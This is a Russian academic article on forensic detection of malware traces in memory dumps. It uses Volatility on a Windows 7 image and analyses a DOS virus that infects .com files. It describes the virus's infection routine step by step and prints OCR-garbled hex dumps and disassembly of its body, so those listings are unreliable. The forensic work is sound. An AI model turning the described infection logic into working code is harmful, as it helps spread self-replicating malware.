Научная статья на тему 'Методика обнаружения следов вредоносного программного обеспечения в дампах оперативной памяти'

Методика обнаружения следов вредоносного программного обеспечения в дампах оперативной памяти Текст научной статьи по специальности «Компьютерные и информационные науки»

CC BY
2788
300
i Надоели баннеры? Вы всегда можете отключить рекламу.
Ключевые слова
АНТИОТЛАДКА / АНТИДИЗАССЕМБЛИРОВАНИЕ / АНТИЗАПУСК В ВИРТУАЛЬНЫХ МАШИНАХ / ОПЕРАЦИОННАЯ СИСТЕМА SIFT WORKSTATION 3.0 / ASSEMBLER

Аннотация научной статьи по компьютерным и информационным наукам, автор научной работы — Иванов В. Ю., Жигалов К. Ю., Алчинов А. И., Павенский Ю. А.

Приведены результаты сравнительного анализа общих черт резидентных и нерезидентных вирусов с точки зрения языка программирования Assembler. Кроме того, всесторонне проанализированы методы противодействия изучению следов вредоносного исполняемого кода в дампах оперативной памяти. На основе результатов проведенных исследований в работе также выполнен анализ обнаруженного вредоносного программного обеспечения и изучение оставленных им следов, а также даны рекомендации, которые позволят существенно сократить время специалиста при проведении подобных мероприятий.

i Надоели баннеры? Вы всегда можете отключить рекламу.

Похожие темы научных работ по компьютерным и информационным наукам , автор научной работы — Иванов В. Ю., Жигалов К. Ю., Алчинов А. И., Павенский Ю. А.

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.
i Надоели баннеры? Вы всегда можете отключить рекламу.

Methods of identifying traces of malicious software in the dump of memory

General features of resident and non-resident viruses from the point of view of «Assembly» programming language are considered. Analyzing methods of counteracting the study of traces of malicious executable code. On the basis of the conducted researches results of analysis of the detected malicious software and a study of the marks left by it is also made recommendations, which will allow to significantly reduce the expert's time during similar actions.

Текст научной работы на тему «Методика обнаружения следов вредоносного программного обеспечения в дампах оперативной памяти»

Cloud of Science. 2018. T. 5. № 2 http:/ / cloudofscience.ru

Методика обнаружения следов вредоносного программного обеспечения в дампах оперативной памяти

В. Ю. Иванов*, К. Ю. Жигалов** ***, А. И. Алчинов**, Ю. А. Павенский*

*Московский государственный университет МВД России имени В. Я. Кикотя 117437, Москва, ул. Академика Волгина, 12

**Институт Проблем Управления РАН им. В. А. Трапезникова 117997, Москва, ул. Профсоюзная, 65

***Московский технологический институт 117292, Москва, ул. Кедрова, д. 8, корп. 2

e-mail: kshakalov@mail.ru, ivsl71@mail.ru

Аннотация. Приведены результаты сравнительного анализа общих черт резидентных и нерезидентных вирусов с точки зрения языка программирования Assembler. Кроме того, всесторонне проанализированы методы противодействия изучению следов вредоносного исполняемого кода в дампах оперативной памяти. На основе результатов проведенных исследований в работе также выполнен анализ обнаруженного вредоносного программного обеспечения и изучение оставленных им следов, а также даны рекомендации, которые позволят существенно сократить время специалиста при проведении подобных мероприятий. Ключевые слова: антиотладка, антидизассемблирование, антизапуск в виртуальных машинах, операционная система Sift Workstation 3.0, Assembler.

1. Введение

В настоящее время в мире насчитывается огромное количество преступлений в области информационных технологий и их количество только растет со временем. Ежегодные убытки от кражи/изменения или удаления информации исчисляются сотнями миллиардов долларов. Для эффективного противостояния такого рода преступлениям необходимо выработать доказательную базу и методы обнаружения следов киберпреступлений.

Обнаружить следы вредоносного программного обеспечения в компьютере, а также в том, что именно оно делало, можно следующими способами:

- использование firewall (сетевой экран позволяет эффективно противостоять большинству атак через сеть; основным минусом данного реше-

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов

Ю. А. Павенский

ния является отсутствие доказательной базы и сложность использования большинством пользователей по причине необходимости досконального знания процессов сетевого взаимодействия конечным пользователем);

- обработки стеков памяти и содержания файлов в режиме реального времени (этим способом пользуется большинство антивирусов, о чем, в свою очередь, знают и разработчики вредоносных программных средств; использование антивирусов в качестве доказательной базы практически невозможно, кроме того, антивирусы в автоматизированном режиме практически не способны блокировать работу новых вредоносных средств);

- изучение дампов оперативной памяти (к сожалению, данный метод эффективен только после заражения т. к. исследование проводится постфактум, тем не менее с его помощью вполне реально восстановить большую часть картины произошедшего и собрать необходимую в дальнейшем расследовании доказательную базу).

Статья посвящена как возможным вариантам исследования возможного использования современных технологий и инструментов анализа дампов оперативной памяти для обнаружения следов вредоносного кода, так и существующим вариантам противодействия такого рода изучению.

2. Особенности вирусов с точки зрения языка программирования Assembler

Для начала введем необходимые понятия и определения. Вирус — это программа, написанная на C, Virtual Basic, ассемблере и других языках программирования, используемая для заражения, размножения прочих программ без участия лица, его написавшего [1].

Принцип работы вируса состоит в том, что он, для начала, определяет — была ли произведена его загрузка вместе с каким-нибудь файлом или это его первичная загрузка. Затем он находит первый попавшийся файл и проверяет его на наличие заражения этим же вирусом. Если файл им заражен, то далее, как правило, происходит поиск следующего файла, а если нет — то заражает его. Все эти действия происходят очень быстро и для рядового пользователя практически незаметно.

По объему памяти вирус может быть разным — здесь все зависит от программиста, его профессионализма и языка, на котором пишется вирус, а также от того, что он хотел бы сделать с компьютером-жертвой или его файлами. Средний размер вируса составляет 500-600 байт.

Резидентная программа (резидент) — это программа, которая постоянно находится в оперативной памяти [2]. В качестве примера такого резидента можно отнести драйвер клавиатуры, мыши, всевозможные антивирусы, которые занимаются слежкой за работой программ и сообщают о ее действиях пользователю. Главная задача резидентной программы состоит в перехвате того или иного прерывания для того, чтобы программист или программы могли обратиться к ней.

Прерывание — это некоторая процедура или, другими словами, подпрограмма, которая имеет не название, а номер. Эти номера, как правило, зарезервированы BIOS компьютера или какой-нибудь операционной системой, например Linux, Mac OS, Windows и т. п [2]. Определено 256 прерываний.

Обработчик прерывания — некоторая подпрограмма, которая временно или постоянно расположена в памяти. Считается, что подпрограмма первая получает управление, выполняет определенные действия, а затем осуществляет передачу управления оригинальному обработчику.

Прерывания делятся на программные и аппаратные [2].

Программные прерывания вызывает та или иная программа посредством использования команды int.

Аппаратные прерывания вызываются автоматически процессором или же аппаратурой компьютера при возникновении тех или иных событий. При этом процессор осуществляет прекращение выполнения текущей программы, сохраняет в стеке регистры SP, SS и флаги, вызывает соответствующее прерывание, а затем восстанавливает сохраненные регистры и продолжает выполнение текущей программы.

Обработчик прерывания вредоносного программного обеспечения может выглядеть по-разному, в зависимости от целей злоумышленника.

3. Методы противодействия изучению следов вредоносного исполняемого кода

Для начала изучения данного вопроса следует определиться с существующими понятиями и определениями.

Дизассемблер — это транслятор, который основан на преобразовании машинного кода, объектного файла или библиотечных модулей в текст программы на языке ассемблера [1, 2].

Отладчик — это программа, назначением которой является поиск ошибок в других программах, ядрах операционных систем, SQL-запросах и других видах кода.

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

К методам защиты от изучения вредоносного исполняемого кода относятся [3]:

- антиотладка — заключается в использовании определенных Windows API функций, ручной проверке «флагов», проверке системных значений (ключей реестра) и определении программного поведения;

- антидизассемблирование — заключается в шифровании критичного кода программ, скрытии команд, использовании нестандартных способов передачи управления, установке префикса программного сегмента (PSP) перед некоторыми командами;

- антизапуск в виртуальных машинах — заключается в определении определенных выполняющихся процессов, ключей реестра, оборудования виртуальных машин (USB-драйвера, сетевой карты, BIOS, процессора и т. д.), MAC-адресов, библиотек динамической компоновки (dll), значений счетчика TSC, регистров таблиц дескрипторов (IDT, LDT и др.) и специфичность I/O порта относящихся к виртуальным машинам.

4. Использование современных технологий и инструментов анализа дампов оперативной памяти, способствующих обнаружению следов вредоносного исполняемого кода

Экспертная задача: исследование информации, хранящейся в файле. В данном случае будет устанавливаться только та информация, которая присутствовала в ОЗУ на момент снятия дампа. К такой информации можно отнести: список выполняющихся процессов; ветви реестра, которые были задействованы при работе в операционной среде; список процессов, производящих обмен пакетами как в сети Интернет, так и в локальной сети (LAN), с указанием подробных сведений о данных пакетах; инструкции программ, которые были оставлены в памяти после их выполнения; изображения, которые просматривались пользователем операционной среды и т. д.

В зависимости от требуемой информации методы исследования делятся на: автоматизированный; ручной; комплексный.

Оборудование, рекомендуемое к использованию:

- виртуальная машина (рекомендуется использовать VMware Player или Oracle VM VirtualBox);

- операционная среда, при использовании автоматизированного метода — Sift Workstation 3.0, а при использовании ручного — на усмотрение эксперта;

- специальное программное обеспечение, предназначенное для отладки и дизассемблирования (при использовании ручного метода).

Методика подразумевает владение экспертом: базовыми знаниями языка Assembler; базовыми знаниями об устройстве и умением работать в UNIX-подобных операционных системах, операционных системах семейства Windows и MAC OS. Методика подразумевает использование экспертом творческого подхода и именно поэтому ему необходимы вышеперечисленные знания, без которых установить ту или иную информацию в истинной форме невозможно.

В качестве примера и общего понимания, как использовать данную методику, рассмотрим два основных метода: метод проведения исследования, основанный на использовании стандартных средств операционной системы Sift Workstation 3.0; метод проведения исследования, основанный на использовании Assembler.

4.1. Метод проведения исследования, основанный на использовании стандартных средств операционной системы Sift Workstation 3.0

В ходе проведения исследования были использованы: дамп оперативной памяти (файл ram.vmem); виртуальная машина (VMware Player версии 6.0.3); операционная система Sift Workstation 3.0.

При выполнении в режиме терминала команды: vol.py -f /home/sansforensics/Desktop/ram.vmem imageinfo

для определения профиля, под которым будет проходить дельнейшее исследование дампа оперативной памяти. В данном случае был определен следующий профиль: Win7SP1x64

При введении команды vol.py -f /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 pstree для просмотра выполняющихся процессов в оперативной памяти был обнаружен,

троянский процесс mimi.exe и подозрительный процесс под названием 5:2878BK, который не имеет расширение *.exe (см. рис. 1) [3].

Рисунок 1. Просмотр списка выполняющихся процессов на момент снятия дампа

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

Имеет смысл рассмотреть сетевую активность выполняющихся процессов в оперативной памяти, введя команду

vol.py -f /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 netscan

В нашем примере, обнаружена подозрительная сетевая активность со стороны

процесса, расположенного по смещению

0x3dbec910 TCPv4 192.168.180.131:49212 192.168.1.100:8080 ESTABLISHED 1424 5:2878BK.

Это говорит о том, что на момент снятия дампа оперативной памяти данный процесс осуществлял передачу сетевых пакетов с интерфейса

192.168.180.131:49212 на интерфейс 192.168.1.100:8080 (рис. 2).

root®slftworkstatlon:-# vol.py -f /home/sansforenslcs/Desktop/ram. iwn --proflle=Hln7SPlx04 netscan

Volatility Foundation Volatility Framework 2.4

Offset(P) Proto Local Address Foreign Address State Pld Owner Created

0x3dd5c090 UDPV4 0.0.0.0:1702 1788 svchost.exe 2010 09 00 1

: oe : 05 uTooeee

0x3db03ef0 TCPV4 0.0.0.0:5357 0.0.0.0 0 LISTENING 4 System

Bx3db63efO TCPvO :::5157 : : :0 LISTENING 4 System

0x3dcl2510 TCPV4 0.0.0.0 0 LISTENING 4 System

Bx3dcl2S10 TCPvO : ::445 :::0 LISTENING 4 System

9x3dca6c70 TCPv4 0.0.0.0 0 LISTENING 484 servlces.exe

0x3dcbada0 TCPV4 0.0.0.0 0 LISTENING 484 servlces.exe

Bx3dcbada0 TCPvO : ::49155 : : :o LISTENING 4B4 servlces.exe

0x3ddl0220 TCPV4 0.0.0.0:49150 0.0.0.0 0 LISTENING 492 lsass.exe

Sx3ddl6220 TCPvO : : 49150 : : :0 LISTENING 492 lsass.exe

Bx3ddl0340 TCPv4 0.0.0.0:49150 0.0.0.0 0 LISTENING 492 lsass.exe

0x3d6f2cf0 TCPV4 - : 49208 192.108 180.255:80 CLOSED 328 svchost.exe

Bx3d929750 TCPV4 - : 5357 192.108 180.1:50039 CLOSED 4 System

Bx3dada0e0 TCPV4 127.0.0.1:5357 127.0.0 1:49240 CLOSED 4 System

Bx3db015b0 TCPv4 - :0 72.135. 185.14:0 CLOSED 990 svchost.exe

Bx3db01b30 TCPvO - :0 4887 : b90e : 80f a : f f f f : 4887 : Ь90е : 80f a : f f f f :0 CLOSED »90 svchos

Bx3db030i0 TCPV4 127.0.0.1:5357 127.0.0 1:49248 CLOSED 4 System

Bx3dbec910 TCPV4 192.108.180.131:49212 192.108 1.100:8080 ESTABLISHED 1424 5:287B8K (¡J IS

0x3deBe010 UDPv4 0.0.0.0:3702 17B8 svchost.exe 2010 09 00 1

:08:05 UTC.0Ô00

Bx3deBe010 UDPvO : : : 3702 •I* 1788 svchost.exe 2010 09 00 1

:0B:0S UTC»0000

Bx3deboleo U0PV4 0.0.0.0:52810 990 svchost.exe 2010 09 00 1

: OB : 05 UTC+0000

Bx3deb01e0 UDPvO :::S2810 990 svchost.exe 2010 09 00 1

Рисунок 2. Сетевая активность выполняющихся процессов в оперативной памяти

Для исследования реестра необходимо ввести команду (рис. 3) vol.py ^ /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 hivelist

root@siftworkstation:~# vol.py -f /home/sansforensics/Desktop/ram.vnen --profile=Win7SPlx64 hi.veli.st Volatility Foundation Volatility Framework 2.4 Virtual Physical Name

0xfffffBa00000d230 0x0000000027204230 [по папе] OxfffffBaOOOO24O10 OxOOOOOOOO2720f010 \REGISTRY\MACHINE\SYSTEM OxfffffBa0000S21f0 0x0O0O0OOO272bdlf0 \REGISTRY\MACHINE\HARDWARE 0xfffffBaO002b4O10 0x000000O02171b010 \77\C:\Users\Client\ntuser.dat 0xfffffBa0O0dla010 OxOOOOOOOOle912010 \Devlce\HarddiskVolumel\Boot\BCD 0xfffffBa0O0d6dO10 OxOOOOOOOOlSaaOOlO \SystemRoot\System32\Config\SOFTWARE 0xfffffBa0OOe4SO10 OxOOOOOOOOlcba2010 \SystemRoot\System32\Config\DEFAULT 0xfffff8aO00fe2010 0x0000000016404010 \SystemRoot\System32\Config\SECURITY 0xfffffBa0OlO2a410 0x0000000015a46410 \SystemRoot\System32\Config\SAM

0xfffffBaOOlOe9010 0x0O0000OO14ec8010 \7 7\C:\Wtndows\ServiceProfiles\NetworkService\NTJSER.DAT 0xfffffBa0O1177010 0x0OO0O0O014eb4010 \7 7\C:\VJindows\ServiceProfiles\LocalService\NTUSER.DAT OxfffffBaOO1622410 0X0000000006653410 \7 7\C:\Users\Client\AppData\Local\Microsoft\Windows\UsrClass.dat 0xfffffBa001d3a010 0x0000000000200010 \77\C:\Systen Volume Information\Syscache.hve root@siftworkstation:~8 |

Рисунок 3. Результат просмотра использованных ветвей реестра

На последнем этапе необходимо ввести команду для просмотра кода выполняющегося процесса 5:2878BK (рис. 4) [4]

vol.py /home/sansforensics/Desktop/ram.vmem --profile=Win7SP1x64 таИт((

Process: 5:2878ВК Pld: 1424 Address: 6x2556666

vad Tag: vadS Protection: PAGE_EXECUTE_READWRITE

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

Flags: ComltCharge: 99, MenConmlt: 1, PrlvateMemory: 1. Protection: 6

6x62558086 4d Sa 96 66 63 68 66 86 64 86 68 86 ff ff 00 88 HZ..............

0X02550010 be 06 00 00 00 00 00 00 40 00 00 06 06 66 68 88 ........e.......

6X02SS6026 68 66 86 86 66 68 68 86 66 66 68 88 86 66 00 88 ................

6x62556636 68 86 88 86 86 68 68 86 66 68 88 86 16 61 68 88 ................

Process: 5:2878BK flfflfl Pld: 1424 Address: 6x616686

Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE

Flags: ConnltCharge: 241, HenConnlt: 1, PrlvateNenory: : 1, , Protection: 6

6x86618686 4d 5a e8 88 86 86 66 5b 52 45 55 89 e5 81 C3 62 nz.....[REU____b

6x66616616 17 66 68 ff d3 81 C3 97 82 6e 66 89 3b 53 6a 64

6x66616626 56 ff de 66 66 68 66 86 66 66 66 68 68 86 00 66 P...............

6x68616636 66 66 66 66 86 68 66 86 66 66 66 66 f8 86 66 66

Рисунок 4. Просмотр кода процесса 5:2878BK

В данном случае, внутри исполняемого кода содержится заголовок «М2». Это говорит о том, что данный код выполняет функции стандартного файла с расширением *.ехе. Далее начинается ручной разбор кода данного процесса. Например, здесь вполне можно установить путем дизассемблирования, что часть кода данного процесса в промежутке от 4d до 00 включает в себя команды, указанные на рис. 5.

data 00000000 4d dec ebp

data 09000301 5a pDp edx

data 09000002 eS00000090 call loc_ 00000007

data 00000007 5b pop ebx

data 00000008 52 push edx

data 00000009 45 inc ebp

data 0000000a 55 push ebp

data 0000000b 89e5 mov • .;,-"> II

data 0000000d 81C362170000 add еЬх,0x1762

data 00000013 ffd3 call ebx

data 00000015 81c397S20e00 add еЬх.0хе8297

data 0000001b 893b mov DWORD PTR [ebx~Ledi

data 000000id 53 push ebx

data 0000001c 6a04 push 0x4

data 00000020 50 push eax

data 00000021 ffdo call eax

data 00000023 0000 add BYTE PTR [eax ,al

data 00000025 0000 add BYTE PTR [eax , al

data 00000027 0000 add BYTE PTR [eax ,al

data 00000029 0000 add BYTE PTR [eax , al

data 0000002b 0000 add BYTE PTR [eax j al

data 0000002d 0000 add BYTE PTR [eax ,al

data 0000002f 0000 add BYTE PTR [eax , al

data 00000031 0000 add BYTE PTR [eax j al

data 00000033 0000 add BYTE PTR [eax ,al

data 00000035 0000 add BYTE PTR [eax , al

data 00000037 0000 add BYTE PTR [eax j al

data 00000039 0000 add BYTE PTR [eax ,al

data 0000003b 00f8 add а 1 ^ Ып

data 0000003d 0000 add BYTE PTR [eax j al

data 0000003f 00 .byte 0x0

Рисунок 5. Результат дизассемблирования части кода процесса 5:2878BK

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

4.2. Метод проведения исследования, основанный на использовании языка программирования Assembler

В ходе проведения исследования были использованы:

- дамп оперативной памяти (файл 20171118.mem);

- вредоносное программное обеспечение (файл VIRUS.exe, код которого приведен в приложении А);

- антивирусный онлайн-сервис VirusTotal [4, 5];

- виртуальная машина (Oracle VM VirtualBox) [5-8];

- операционная система (Windows XP);

- дизассемблер (IDA Pro Advanced);

- отладчик (OllyDBG, Emu8086 и AFD Pro);

- HEX-редактор (WinHex).

Допустим, перед экспертом поставлен вопрос: детектируется ли представленный на исследование файл VIRUS.exe программой типа «антивирус» как вредоносный? Если да, то производился ли его запуск в операционной системе пользователя? [6]. Чтобы ответить на вопрос, необходимо отсканировать файл VIRUS.exe антивирусным программным обеспечением, которое подтвердило бы, что данный файл действительно является вредоносным. В качестве примера сканирование производилось с использованием онлайн-сервиса VirusTotal, результат выполнения которого выглядит следующим образом (рис. 6-8).

Рисунок 6. Результат сканирования файла VIRUS.exe с использованием онлайн-сервиса VirusTotal. Экран 1

Рисунок 7. Результат сканирования файла VIRUS.exe с использованием онлайн-сервиса VirusTotal. Экран 2

TheHacker Trend M ¡с го

Trend M ¡с го-Но и se Call

Trustlook

VBA32

VI PRE

Vi Robot

Webroot

WhiteArmor

Zillya

Zoner

© © © © © © © © © ©

20180301 20180301 20180301 20180301 20180301 20180301 20180301 20180301 20180223 20180301 20180301

Рисунок 8. Результат сканирования файла VIRUS.exe с использованием онлайн-сервиса VirusTotal. Экран 3

Необходимо определить, исходя из имеющегося дампа оперативной памяти, был ли осуществлен запуск файла VIRUS.exe. Для этого проведем исследование в два этапа:

- определим, из каких инструкций состоит файл VIRUS.exe и какие следы он оставляет в памяти в результате их выполнения;

- произведем поиск оставленных следов вредоносным программным обеспечением в дампе оперативной памяти.

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

Во время проведения исследования необходимо иметь в виду, что существуют различные методы противодействия, используемые злоумышленниками, направленные на недопущение изучения кода; ассемблирование является однонаправленным процессом с потерями, поэтому автоматическое восстановление исходного текста невозможно.

Одной из основных проблем дизассемблирования заключается в синтаксической неотличимости констант от адресов памяти (сегментов и смещений). Потребность распознавания смещений объясняется необходимостью замены конкретных адресов на метки, действительное смещение которых определяется на этапе ассемблирования программы. Сказанное можно проиллюстрировать следующим примером: рассмотрим исходную программу (приложение А). При ассемблировании первой строки, состоящей из инструкции push offset Init, будет занесен в стек адрес расположения указанной метки, т. е. значение 01B4h. Это влечет за собой потерю информации — теперь уже нельзя однозначно утверждать, как выглядел исходный текст, т. к. ассемблирование offset Init и 01B4h дает одинаковый результат, т. е. это говорит о том, что функция ассемблирования не инъективна.

Для выполнения описанных выше действий необходимо: запустить виртуальную машину с установленной операционной системой (в нашем случае, Windows XP); открыть в ней файл VIRUS.exe с использованием нескольких отладчиков, таких, как: AFD Pro, OllyDBG, Emu8086 и дизассемблера IDA Pro Advanced; проанализировать подробнее, какие данные файла VIRUS.exe отобразила каждая из вышеперечисленных программ (см. приложения Б-Д).

1. OllyDBG. Следует отметить что, результат дизассемблирования данным отладчиком (приложение Б) не является верным и на экране представлен хаотичный набор данных. В качестве сравнения возможно привести код, с которого должен начинаться файл VIRUS.exe: 68 B4 01 push offset Init или, что является одним и тем же, 68 B4 01 push 01B4. Отладчик OllyDBG дизассемблирует первую строку в код 6A 18 push 18, что не является верным и причин возникновения такого результата может быть множество, начиная с недоработки самого механизма работы отладчика и заканчивая влиянием вредоносного кода на его работу. В данном случае отладчик запутался из-за своего внутреннего алгоритма, не понимая, что инструкции (приложение А) 68 B4 01 push offset Init C3 ret аналогичны стандартной инструкции безусловного перехода jmp Init. Данная ситуация подтверждает, что, исследуя тот или иной код программы, необходимо пользоваться разными отладчиками.

2. IDA Pro Advanced. Это одновременно мощный и непростой в работе рядовому пользователю инструмент, который пользуется большой популярностью среди людей, которые профессионально занимаются реверс-инжинирингом. В ходе проводимого исследования данная программа представила часть кода файла

VIRUS.exe в эквивалентной форме, другая часть кода, выделенная зеленым цветом, осталась нераспознанной (приложение В). Для получения цельной картины необходимо использовать некоторые встроенные возможности программы, которые состоят в применении различных антиобфускационных методов. В работе их не затрагиваем и просто посмотрим, что отобразили другие отладчики.

3. AFD Pro и Emu8086. Данные отладчики, как и дизассемблер IDA Pro Advanced, смогли в полной мере в эквивалентной форме представить код файла VIRUS.exe (приложения Г, Д).

В результате проведенного исследования кода файла VIRUS.exe было установлено его следующее последовательное поведение.

1. Производится полное копирование кода вируса в область 7-й видеостраницы и его последующее исполнение.

2. По адресу BF00:0000 устанавливается область обмена дисковыми данными (DTA).

3. Производится поиск файлов с расширением *.com.

4. Если найденный файл больше 64 Кбайт, то начинается поиск заново (происходит переход к п. 3. Если меньше, то производится последующее считывание его первых 6 байт.

5. Если в найденном файле по смещению +4h от начала находится значение 1122h, то начинается поиск заново (происходит переход к п. 3). Если нет, то пишется в «хвост» найденного файла тело вируса.

6. После тела вируса пишутся первые 6 настоящих байт «файла-жертвы».

7. Закрывается файл.

8. Создается искусственный переход на метку инициализации вируса путем вычисления размера файла.

9. Снова открывается тот же файл.

10. Пишутся первые 6 байт перехода на тело вируса, включающие значение 1122h для опознавания того, что файл уже заражен этим вирусом.

11. Закрывается файл.

12. Восстанавливаются первые 6 реальных байт «файла-жертвы» в памяти, которые сохранены в «хвосте» «файла-жертвы» (см. п. 6).

13. Передается управление «файлу-жертве».

После исследования кода файла VIRUS.exe можно с уверенностью сказать, что перед нами нерезидентный вирус. А это говорит о том, что сразу же после его исполнения в первом свободном сегменте данные могут быть изменены (затерты) любой другой программой. Но, возможно, данный вирус оставил свои следы в области 7-й видеостраницы, которая, как правило, никакой программой не используется для хранения своих инструкций, так как обычно любой пользователь по умол-

В. Ю. Иванов, К. Ю. Жигалов, А. И. Алчинов Ю. А. Павенский

iНе можете найти то, что вам нужно? Попробуйте сервис подбора литературы.

чанию работает с нулевой видеостраницей. Для этого открываем HEX-редактор WinHex и выбираем в нем дамп оперативной памяти (файл 20171118.mem). Далее необходимо по сигнатуре файла VIRUS.exe найти тело вируса. В данном случае были получены подтверждения того, что файл VIRUS.exe действительно был запущен, о чем свидетельствуют следы в виде определенных сигнатур, оставленные данным файлом в оперативной памяти компьютера (рис. 9, 10 и приложение Е). Можно увидеть процесс заражения файлом VIRUS.exe другого файла (рис. 10).

□ Е 391Е930 □ 1 8В D8 СЗ FF FF 83 ЗЕ 14 01 FF 74 08 8B IE 14 .<ШГЯЯГ>..Ht.(..

□ Е 591Е940 □ 1 В 4 ЗЕ CD 21 СЗ 4Е 33 С9 ВА 30 01 CD 21 c№ . Г>Н1Гг'ЫЗЙе0 . Н1Г

□ Е 391Е950 2А 2Е 63 6F 6D 00 33 D2 33 С9 В 4 4F CD 21 СЗ 2E *. com. ЗТЗЙг'ОШГ.

0Е 391Е960 А1 1С 00 0В СО 75 68 2Е 8В 2Е 1А 00 E 8 B7 FF 72 У. . . Auh. < . . . и ■ яг

0Е 391Е970 5Е В 4 3F В 9 06 00 ВА 14 02 CD 21 72 52 8B DA 81 ЛГ?№. . е. .Н!rRi ЪГ

□ Е 391Е980 7F 04 22 11 74 49 В 8 02 42 8В IE 14 01 33 C9 36 □ . ".tie.В< . . .ЗЙЗ

□ Е 591Е990 V2 CD 21 72 ЗА В 4 40 В 9 0Е 01 ВА 00 01 CD 21 72 1 ТНi г: r'OHS. . е . . HI г

□ Е 5 91Е9А0 2Е В 4 40 В 9 06 00 ВА 14 02 CD 21 72 22 E8 86 . Г@№..е..HIг"и+я

□ Е 591Е9В0 | 81 С5 В 4 01 36 89 2Е 01 01 Е8 6A FF В 4 40 В 9 06 ГЕг\ 6V.. . . HjHrgi!.

0Е 391Е9С0 00 16 1F ВА 00 01 CD 21 0Е IF E 8 69 FF F 8 СЗ E 8 ...е..НI..и1яшГи

0Е 391E9D0 ®4 FF F 9 СЗ 60 ЕВ 00 00 5В 2D В 8 01 68 00 BF ofe с1ящГ " и. . Х-ё . h . 1.

□ Е 391Е9Е0 BF 06 01 8В F7 03 F 0 В 9 0Е 01 F3 A4 BB 00 02 | I. .< ч.р№. .у»». . .

□ Е 391E9F0 D8 0Е 53 ВВ DB 01 68 00 BF 53 CB 0E IF В 4 1A | Ш. S»H. h. 1 SJI. . г\ 3

□ Е 3 91ЕАОО D2 CD 21 Е8 40 FF 72 0А Е8 54 FF 73 05 E8 46 F) Т Н!и @я г.иТяэ.HFH

□ Е 391ЕА10 73 F 6 BE 0Е 02 BF 00 01 16 07 В 9 06 00 F3 A4 eft su.s. .1. . . .№. .уял

0Е 3 91ЕА20 4е IF В 4 1А ВА 80 00 CD 21 61 68 00 01 СЗ 90 90 . . г\ еЪ. Hi ah. . rF|F|

0Е 3 91ЕА30 фо 90 CD 20 00 00 00 00 FF FF FF FF 82 79 47 11 titlH .... яяяя, yG.

Рисунок 9. Результат, полученный в результате поиска файла VIRUS.exe

0D062140 0D062150 0D062160 0D062170 0D062180 0D062190 0D0621A0 0D0621B0 0D0621C0 0D0621D0 0D0621E0 0D0621F0 0D0 622 0 0 0D062210 0D062220 0D062230 0D062240 0D062250

D8 СЗ 05 00 83 ЗЕ 14 01 FF 74 08 8В 1Е 14 01

в 4 зе cd 21 сз в 4 Не 33 су ва 3u 01 cd 21 сз 2а

2е 63 6f 6d 00 33 d2 33 с9 в 4 4f cd 21 сз 2е а1

1с 00 ob со 75 68 2е 8в 2е 1а 00 е 8 в7 ff 72 5е

в 4 3f в 9 06 00 ва 14 02 cd 21 72 52 8в da 81 7f

04 22 11 74 49 в 8 02 42 8в 1е 14 01 33 с9 33 d2

cd 21 72 за в 4 40 в 9 0е 01 ва 00 01 cd 21 72 2е

в 4 40 в 9 06 00 ва 14 02 cd 21 72 22 е8 86 ff 81

с5 в 4 01 36 89 2е 01 01 е 8 6а ef в 4 40 в 9 06 00

16 1f ва 00 01 cd 21 0е 1f е8 69 ff f8 сз е8 64

ff f 9 сз 60 е 8 00 00 58 2d в 8 01 68 00 bf 07 bf

06 01 8в f7 03 f 0 в 9 0е 01 f3 а4 вв 00 02 03 d8

0е 53 вв db 01 68 00 bf 53 св 0е 1f в 4 1а 33 d2

cd 21 е 8 40 ff 72 0а е 8 54 ff 73 05 е 8 46 ff 73

f 6 be 0е 02 в f 00 01 16 07 в 9 06 00 f 3 a4 св 0е

if в 4 1а ва 80 00 cd 21 61 68 00 01 сз 21 сз 48

0D062260

65 бс 6C 21 СЗ 48 65 6С 6С FF FF FF 82 79 47 11

FF FF FF FF 82 79 47 11 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

<ШГ..г>..Ht.<...

Г>Н!Гг'ЫЗЙеО. Н!Г*

. com. ЗТЗИг'ОШГ. У ...Auh.<...и■ягА

г"?№. . е . .Hi rR< ЪГ □ .".tie.В<...ЗЙЗТ Н! г: ГЭ№. .е. . Н! г. ГЭ№. . е . .Hi г "и+яГ Ег\ 6V.. . . HjHrgp. . . . е . . НI . . и1яшГи<1 ящГ ^ и. .Х-ё.h.1.I . .<ч.р№. .у« ». . .Ш . S»H. h. 1 SJI. . г\ ЗТ Н!ивяг.hThs.hFhs ii,s . .1. . . .№. . у н л. . г\ еЪ. Hi ah. ЛГН i ell!ГНе11яяя,yG. яяяя,yG.........

Рисунок 10. Процесс заражения другого файла

5. Выводы

Возможны такие ситуации, когда необходимы доказательства для вынесения решения по делу в сфере высоких технологий. Кроме того, достаточно часто специалистам ИТ-компаний необходимо выяснить, что конкретно произошло на компьютерах пользователей или серверном оборудовании.

Результаты исследования могут быть полезны сотрудникам правоохранительных органов, ИТ-специалистам компаний, в качестве методики, позволяющей значительно расширить возможность установления новых сведений в виде следов, оставленных в результате незаконной деятельности. Кроме того, исследования могут быть полезны и в смежных областях, таких как обнаружение использования специализированного программного обеспечения сотрудниками компании, например, сервиса облачного хранения данных DROPBOX [10].

Следует отметить, что рассмотренная в статье методика не может быть защитой от вредоносного программного обеспечения т. к. анализ может быть осуществлен постфактум после заражения. Тем не менее, на основе предложенной методики возможно построение специализированного программного комплекса для работы в качестве защиты.

Литература

[1] Экзарян Д. А., Жадановская Н. П., Дегтярь Р. С. Верификация программного кода на языке high level assembler // Математические методы в технике и технологиях 2015, № 5 (75). С. 49-51.

[2] Кнут Д. Э. Искусство программирования. Т. 1. Основные алгоритмы. — М. : Вильямс, 2008.

[3] Климентьев К. Е. Компьютерные вирусы и антивирусы / Под ред. Д.А. Мовчана. — М. : ДМК-Пресс, 2015.

